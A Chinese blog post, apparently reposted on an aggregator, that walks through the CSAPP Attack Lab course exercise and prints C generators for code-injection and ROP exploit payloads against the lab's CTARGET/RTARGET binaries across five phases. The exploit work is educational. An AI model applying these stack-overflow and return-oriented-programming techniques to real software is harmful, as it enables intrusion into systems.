CSAPP Attack Lab

news2024/12/28 22:52:09

CSAPP Attack Lab

历经一个多星期,之前写完第一部分就一直放着了,稍微补充了一下知识,差点让第二部分吓到,没想到做起来还挺简单哈

这次任务是让我们当一个远古时期的萌新黑客,是不是很酷呀

这次上来才发现看不懂让干啥,于是乎就去看了某个视频,惊讶的发现这玩意除了有README还有Writeup,啊这这这,writeup会告诉我们怎么写这个实验,巴拉巴拉

而且还有方便实验的小tips,我没看完讲义,硬生生造了个 hex2raw轮子,呜呜

下面开始正文,随便记录一下关键点(我不会说是我懒不想复现的)

phase 1

在这里插入图片描述

大致意思就是,让原本test调用的getbuf函数,完成他的任务时,不反回到test里,而是跑到touch1里,是不是很神奇

具体怎么做呢?

首先是因为
在这里插入图片描述

这个远古的函数Gets老哥只管读数据,啥边界也不管,因为buf是在栈上的,所有读的数据也就存在栈上,而栈上还存的函数的返回地址呢

也就是说我们只要偷偷把返回地址换成touch1的就可以啦~

是不是很简单
在这里插入图片描述

具体栈的布局就是上面这样,只要你的输入的字符能把返回test的地址盖住你就可以为所欲为了(在第一部分)

这里我遇到了一些些小坑(只能刚刚盖住test的地址,不能超了,一超就段错误)

另外注意 地址顺序 这里是小端地址

下面就量出我写的代码(没看讲义造轮子了,但也不能白写还是贴出来把)

#include <stdio.h>
int main()
{
    FILE * fp = fopen("phase1.txt" , "w");
    if(fp == NULL){
        return 1;
    }
    const char * p = "0123456789012345678901234567890123456789\xc0\x17\x40";    fputs(p , fp);
    fclose(fp);
    printf("success\n");
    return 0;
}

执行后就会生成一个文本,然后就是答案了(我写的字节序列有一些是随便写的,只要关键部分才有用)

phase 2

下面这个比上面多了一个传递值的步骤

 void touch2(unsigned val)
 {
	vlevel = 2; /* Part of validation protocol */
	 if (val == cookie) {
		 printf("Touch2!: You called touch2(0x%.8x)\n", val);
		 validate(2);
	 } else {
	 printf("Misfire: You called touch2(0x%.8x)\n", val);
	 fail(2);
	 }
 exit(0);
}

就是这次调用touch2时后需要传个cookie(值就是文件给的哪个cookie)

这个一开始怎么写呢

首先想一下上节内容,val肯定是存在%rdi寄存器里的(忘了话去看一下)

所以我们的目标就是

mov $cookie , %rdi # 我写的伪码,这个写法不正确啊,能表达意思就可以了

所以我们要想一个办法,让程序能不能执行一下我们的这条指令呢

我们应该都知道,程序本质上就是一串0 1 序列,栈啊堆啊的对于cpu来说其实没啥区别。cpu只不过会把 cs : ip 寄存器指令指向的内存当成可执行指令罢了。我们也知道ret 就是会把栈上的数据弹出给ip,既然上面第一节地址可以是touch1的地址,那能不能是栈上rsp的地址呢?

说干就干,直接让ret返回到栈上缓存区的一部分,然后我们用 gcc - c将上面的汇编转成01指令放到我们输入的地方,就可以了

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
    int fd = open("phase2.txt" , O_WRONLY | O_CREAT | O_APPEND);
    if(fd == -1){
        return 1;
    }
    // 这里输入的意思就是 一段小程序了
    const char p[] = {0xbf , 0xfa , 0x97 , 0xb9 , 0x59 , 0x48 , 0x83 , 0xec, 
                      0x08 , 0x48 , 0xc7 , 0x04 , 0x24 , 0xec , 0x17 , 0x40,
                      0x00 , 0xc3 };
    const char p1[] = {0x78 , 0xdc , 0x61 , 0x55, 0x00 , 0x00 , 0x00 , 0x00};
    //40 - 18 = 22
    char tmp[22];

    write(fd , (char *)p , 18);
    write(fd , (char *)tmp , 22);
    write(fd , (char *)p1 , 8);

    close(fd);
    printf("len = %ld success\n" , sizeof(p));
    return 0;
}

方法是可行的,这里我们就可以成功完成这个实验了

phase 3

int hexmatch(unsigned val, char *sval)
{
	 char cbuf[110];
 	/* Make position of check string unpredictable */
 	char *s = cbuf + random() % 100;
 	sprintf(s, "%.8x", val);
 	return strncmp(sval, s, 9) == 0;
}

第三部分又是在上面的基础上改了一下,不是传递值了,而是传递指针。这虽然改了一下,但是我们能注入代码呀,这还不简单,框框就是写个代码

emmm… 写是写,但是我们的字符串cookie放在哪呢?

算了随便放个栈上了

mov 数据地址 , %rdi
ret #touch3

好,写完运行一下

在这里插入图片描述

额,段错误,调试一下就会发现,我的数据怎么被盖住了啊,没了~

此处省略很多步骤…(我建议你们自己去体验一下,很有意思)

最后找到了一个不被盖住的方法

在这里插入图片描述

对应的汇编就是上面的

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
    int fd = open("phase3.txt" , O_WRONLY | O_CREAT | O_APPEND);
    if(fd == -1){
        return 1;
    }
    const char p[] = {
/*78*/                0xbf , 0x50 , 0xdc , 0x61 , 0x55 , 0x48 , 0x83 , 0xec,
/*80*/                0x08 , 0x48 , 0xc7 , 0x04 , 0x24 , 0xfa , 0x18 , 0x40,
/*88*/                0x00 , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB0 , '5'  , '9' ,
       				 'b'  , '9'  , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB4 , '9' , 
        			'7'  ,  'f' , 'a'  , 0xc3 , 0x00 , 0x00 , 0x00 , 0x00};
    const char p1[] = {0x78 , 0xdc , 0x61 , 0x55, 0x00 , 0x00 , 0x00 , 0x00};
    //0x202bd6
    // 3 9 6 2 3 9 3 5

    //40 - 18 = 22
    char tmp[13];

    write(fd , (char *)p , 40);
//  write(fd , (char *)tmp , 6);
    write(fd , (char *)p1 , 8);

    close(fd);
    printf("len = %ld success\n" , sizeof(p));
    return 0;
}

代码如上

然后一鼓作气继续下一个

emmm…好难,先鸽几天再说

phase 4

我又来了哈~

讲义一大堆,好像意思就是,我们不能注射代码了,之前栈上也是有执行权限的,但是现在没了,然后栈还给随机化了,这这这

不过幸好没用金丝雀,不然我没缓存区实验都做不了

那我们就补充一下知识吧

在这里插入图片描述

这部分整的看的我都晕乎(英文不好是原罪),意思就是有个gadget的小工具或者小技巧可以让我们用

这里我先解释一下基本知识

我们都知道,程序运行通过的是特定的机器代码来执行也就是说你要是让程序执行 48 89 c0 和 89 c0这俩差不多的指令,但是他们的指令含义就是不一样的

48 89 c0 : 指令是 movq %rax , %rax

89 c0 : 指令是 movl %eax , %eax

你看,同样差不多的指令,我们要是有办法让cs ip中的ip寄存器稍微往后移一位,指令的解释就不一样了

知道了上面这个有什么用呢?我们自己注入代码肯定不现实,因为栈上不能执行了,但是我们还能利用栈上俩个特性

  • 栈上可以存数据
  • 栈上还存着函数调用代码的地址,ret返回时需要跳的地址

也就是说,虽然栈随机化了,但是代码没随机化,我们还是可以知道某段代码的地址

那么我们就可以利用原来他的代码,通过ret跳到不同的指令地址,来解释成新的代码

举个例子,可能说不太清楚

如果我们想执行一段指令

popq %rax
movq %rax , %rdi
ret

不用管代码含义,假如我们之前想注入的代码是上面这样,但是现在又注入不了,那怎么能让程序执行上面的代码呢?

首先放出一张图

在这里插入图片描述

上面的代码转成机器语言就是

58  	 //popq %rax  
48 89 c7 //movq %rax , %rdi
c3 		 //ret

下面是我们需要黑的程序的部分代码段

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3

不知道你们发没发现,这里面有一个58 ,然后我们能不能直接让程序跳到58的位置执行呢?

答案是可以的,因为58对应的地址 4019b1,所以如果我们此时,将栈上返回的地址,让他返回到这里,我们就达成了这样的愿望

那后面也有90 和 c3他们会不会和我们的58 联合起来被解释成别的指令呢?

答案是不会的,因为90对应的是nop指令,c3应的是ret指令,他们只会单独被解释,所以说我们就通过ret跳转跳到我们让他们跳的地方,然后执行了我们想执行的指令,同时执行完之后又ret了,也就是说我们又可以在栈上写个地址,让 它给我们跳到我们想跳的地方

所以,上面的方法通过ret跳转,跳到想跳的地方,就可以组成我们特定代码啦

【重点就是上面的知识,下面的练习只给出结果(因为很晚了要睡觉)】

下面看一下题目

For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm. You can construct your solution using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi).

意思就是继续phase2的步骤呗

来吧重复的步骤,汇编代码就是上面的 例子

你只需要按照要求找出跳的地方就可以了

下面是我的答案

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
    int fd = open("phase4.txt" , O_WRONLY | O_CREAT | O_APPEND);
    if(fd == -1){
        return 1;
    }
    const char p[] = {
/*78*/                0xbf , 0x50 , 0xdc , 0x61 , 0x55 , 0x48 , 0x83 , 0xec,
/*80*/                0x08 , 0x48 , 0xc7 , 0x04 , 0x24 , 0xfa , 0x18 , 0x40,
/*88*/                0x00 , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB0 , '5'  , '9' , 
       				 0xfa , 0x97 , 0xb9 , 0x59 , 0x00 , 0x00 , 0x00 , 0x00,    
       				 0xec , 0x17 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00};
    const char p1[] = {0xab , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00, 
                       0xfa , 0x97 , 0xb9 , 0x59, 0x00 , 0x00 , 0x00 , 0x00,      
                       0xc5 , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
                       0xec , 0x17 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00};

//popq %rax
//mov %rax , %rdi
//ret

    write(fd , (char *)p , 40);
    write(fd , (char *)p1 , 32);

    close(fd);
    printf("len = %ld success\n" , sizeof(p));
    return 0;
}

phase 5

Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3, you caused a program to execute machine code of your own design. If CTARGET had been a network server, you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own code, you were able inject a type of program that operates by stitching together sequences of existing code. You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations consider stopping right now. Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.

上来就是一段劝退

吓到我啊,久久不敢动手。差点说放弃了,不过还是硬着头皮写吧,写的写的发现,这太…简单了吧,就是重复的工作

首先上来第一步,先确定我们想执行的代码

pop %rax // [n] 0x20
mov %rax , %rsi
mov %rsp , %rdi  
add_xy (rdi + rsi + n) == &data , %rax 
mov %rax , %rdi 
ret //touch3 0x4018fa

上面的代码任然是我多次迭代后的结果。可能不像大家想的那样

反正就是写完代码,你就对应看看能不能在程序里找到能让我们用上的代码(对照给出的图),但是你发现,有一些代码程序直接可能没有,所以我们需要找一下哪些能用上的

pop %rax // [n] 0x20
[mov %rax , %rsi // rdx->rcx->rsi]
    mov rax , rdx . ret  //0x401a42
    mov rdx , rcx . ret  //401a69
    mov rcx , rsi . ret  // 401a13

[mov %rsp , %rdi  // -- mov %rsp , %rax  | mov %rax , %rdi]
    mov rsp , rax // 0x401a3c
    mov rax , rdi // 0x4019a2


add_xy (rdi + rsi + n) == &data , %rax // 0x4019d6
mov %rax , %rdi // 0x4019a2
ret //touch3 0x4018fa

上面就是能用上的了,有的地址不太对

我们把一条指令,解释成三条或者多条能用上的指令就可以啦

总代码

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
    int fd = open("phase5.txt" , O_WRONLY | O_CREAT | O_APPEND);
    if(fd == -1){
        return 1;
    }
    const char p[] = {
/*78*/                0xbf , 0x50 , 0xdc , 0x61 , 0x55 , 0x48 , 0x83 , 0xec,
/*80*/                0x08 , 0x48 , 0xc7 , 0x04 , 0x24 , 0xfa , 0x18 , 0x40,
/*88*/                0x00 , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB0 , '5'  , '9' ,
       				 'b'  , '9'  , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB4 , '9' , 
     				   '7'  ,  'f' , 'a'  , 0xc3 , 0x00 , 0x00 , 0x00 , 0x00};//上面这部分没用,只是为了占位
    const char p1[] = {0xab , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00, 
                       0x20 , 0x00 , 0x00 , 0x00, 0x00 , 0x00 , 0x00 , 0x00, 
                       0x42 , 0x1a , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00, 
                       0x69 , 0x1a , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00, 
                       0x13 , 0x1a , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00, 
                       0x06 , 0x1a , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00, 
                       0xa2 , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00, 
                       0xd6 , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,   
                       0xa2 , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,   
                       0xfa , 0x18 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,   
                       '5'  , '9'  , 'b'  , '9' , '9'  , '7'  , 'f'  , 'a' ,   
                       0x00 , 0x00 , 0x00 , 0x00, 0x00 , 0x00 , 0x00 , 0x00};
     write(fd , (char *)p , 40);
    write(fd , (char *)p1 , 8 * 12);

    close(fd);
    printf("len = %ld success\n" , sizeof(p));
    return 0;
}

是不是很长啊,其实都是重复工作

终于完成了这个lab,我们也成为了曾经的萌新黑客,很酷吧~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1040015.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Unity之Hololens如何升级MRTK内置shader支持URP

一.前言 什么是Hololens? Hololens是由微软开发的一款混合现实头戴式设备,它将虚拟内容与现实世界相结合,为用户提供了沉浸式的AR体验。Hololens通过内置的传感器和摄像头,能够感知用户的环境,并在用户的视野中显示虚拟对象。这使得用户可以与虚拟内容进行互动,将数字信…

Linux学习第19天:Linux并发与竞争实例: 没有规矩不成方圆

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 先说点题外话&#xff0c;上周参加行业年会&#xff0c;停更了一周。接下来的周五就要开启国庆中秋双节模式&#xff0c;所以有的时候&#xff0c;尤其是工作以后…

代码随想录算法训练营day6| 哈希表理论基础、242.有效的字母异位词、349. 两个数组的交集、202. 快乐数、1. 两数之和

目录 一、哈希表理论 hash function ​编辑hash collision 常见哈希结构 1&#xff09;set 2&#xff09;map 二、&#xff08;leetcode 242&#xff09;有效的字母异位词 三、&#xff08;leetcode 349&#xff09;两个数组的交集 四、&#xff08;leetcode 202&…

移动应用中的视频直播美颜sdk集成指南

在今天的移动应用生态系统中&#xff0c;视频直播已经成为了与用户互动、分享体验和传播信息的强大工具。与此同时&#xff0c;直播美颜技术也逐渐崭露头角&#xff0c;让直播主和用户在镜头前呈现出最佳状态。本文将为您提供一份详尽的指南&#xff0c;教您如何在移动应用中集…

Day56:组件库封装-TypeScript入门

配置 安装tsc工具进行编译 npm i typescript -g 查看版本号&#xff1a;tsc -v 编译ts代码-需要使用tsc编译之后才能运行&#xff0c;TS为JS的衍生&#xff0c;浏览器不能直接识别TS语法&#xff1a;tsc xxx.ts 运行ts代码&#xff1a;node xxx.js 或者直接运行ts代码——t…

怎么将aac转换成mp3格式?

怎么将aac转换成mp3格式&#xff1f;AAC&#xff08;它的全称为Advanced Audio Coding&#xff09;是一种高级音频编码格式。它采用了数字音频压缩算法&#xff0c;旨在提供更高的音频质量和更低的比特率。AAC和Mp3一样都是一种有损压缩算法&#xff0c;通过移除人耳无法察觉的…

林木种苗生产vr虚拟实训教学降低培训等待周期

林业种植管理在保护水土流失、气候变化及经济社会发展中发挥重要的作用&#xff0c;林业教学往往需要进入林区进行实操察验&#xff0c;在安全性、时间及效率上难以把控&#xff0c;因此有更多林业畜牧院校创新性地引进VR虚拟现实技术。 在林业领域&#xff0c;实地调查是获取准…

【蓝桥杯选拔赛真题63】Scratch云朵降雨 少儿编程scratch图形化编程 蓝桥杯选拔赛真题解析

目录 scratch云朵降雨 一、题目要求 编程实现 二、案例分析 1、角色分析

批量查询中通快递单号,高效省时

您是否曾经为了查询多个中通快递单号而感到烦恼&#xff1f;传统的查询方式需要您一个个手动输入单号&#xff0c;不仅费时还容易出错。现在&#xff0c;有一个简单的方法可以解决这个问题&#xff0c;那就是使用固乔快递查询助手软件进行批量查询。下面就让我们一起来了解具体…

DockerKubernetes ❀ Service下Port端口区分

文章目录 概述案例 概述 在Kubernetes中&#xff0c;Service&#xff08;svc&#xff09;是一种抽象机制&#xff0c;用于将一组 Pod 暴露给其他应用程序或服务。Service 可以有三种类型的端口&#xff1a; nodePort&#xff1a;这是 Service 在节点上公开的端口。可以使用此…

Quartz 体系结构

Quartz的体系结构 Quartz的重要组件 Scheduler 用于与调度程序交互的主程序接口。 Scheduler调度程序-任务执行计划表&#xff0c;只有安排进执行计划的任务Job&#xff08;通过scheduler.scheduleJob方法安排进执行计划&#xff09;&#xff0c;当它预先定义的执行时间到了的时…

25626-2018 冲击压路机 课堂随笔

声明 本文是学习GB-T 25626-2018 冲击压路机. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 本标准规定了冲击压路机(以下简称压路机)的术语和定义&#xff0c;分类&#xff0c;要求&#xff0c;试验方法&#xff0c;检验规则&#xff0c;标…

Vue3+Elementplus引入面包屑功能

&#x1f341; 作者&#xff1a;知识浅谈&#xff0c;CSDN博客专家&#xff0c;阿里云签约博主&#xff0c;InfoQ签约博主&#xff0c;华为云云享专家&#xff0c;51CTO明日之星 &#x1f4cc; 擅长领域&#xff1a;全栈工程师、爬虫、ACM算法 &#x1f492; 公众号&#xff1a…

it设备系统联网监控

随着网络的兴起和应用的深入&#xff0c;网络安全问题日益突出。在这种环境下&#xff0c;IT网络监控应运而生。它就像一个无形的守护者&#xff0c;密切关注我们的网络空间&#xff0c;确保我们的信息安全。  简单来说&#xff0c;IT网络监控就是通过技术手段对网络进行实时…

Cookie 和 Session机制

Cookie HTTP 协议自身是属于 "无状态" 协议. "无状态" 的含义指的是: 默认情况下 HTTP 协议的客户端和服务器之间的这次通信, 和下次通信之间没有直接的联系. 但是实际开发中, 我们很多时候是需要知道请求之间的关联关系的. 例如登陆网站成功后, 第二次访…

C++ -- IO流

目录 C语言的输入与输出 CIO流 C标准IO流 C文件IO流 文件常见的打开方式如下 以二进制的形式操作文件 以文本的形式操作文件 读写结构体 stringstream的简单介绍 C语言的输入与输出 C语言中我们用到的最频繁的输入输出方式就是scanf ()与printf()。 scanf(): 从标准输…

“构建可靠的前端测试环境与主页搭建实践“

目录 引言1. Mock.js的安装配置及使用1.1 安装Mock.js1.2 引入mockjs造假数据 2. 主页搭建实践1.1 设计主页结构配置路由 总结 引言 在现代软件开发中&#xff0c;前端测试和主页搭建是至关重要的环节。本文将介绍如何使用Mock.js进行安装配置和使用&#xff0c;并探讨如何构建…

解决方案|法大大电子签:3招击破汽车销售效率及成本难题!

近日&#xff0c;国家发改委、工业和信息化部、公安部等13部门联合发布《关于促进汽车消费的若干措施》&#xff0c;进一步稳定和扩大汽车消费&#xff0c;优化汽车购买使用管理制度和市场环境&#xff0c;更大力度促进新能源汽车持续健康发展。主要措施包含支持老旧汽车更新消…

云原生Kubernetes:K8S资源控制之污点与容忍

目录 一、理论 1.污点 2.容忍 3. Pod启动阶段 4. 故障排除步骤 5.对节点执行维护操作 二、实验 1.污点 2.容忍 三、问题 1.pod上配置容忍生成资源报错 四、总结 一、理论 1.污点 &#xff08;1&#xff09;作用 节点亲和性,是Pod的一种属性(偏好或硬性要求) ,它…

基于Java的超市进销存系统springboot18

大家好✌&#xff01;我是CZ淡陌。一名专注以理论为基础实战为主的技术博主&#xff0c;将再这里为大家分享优质的实战项目&#xff0c;本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路…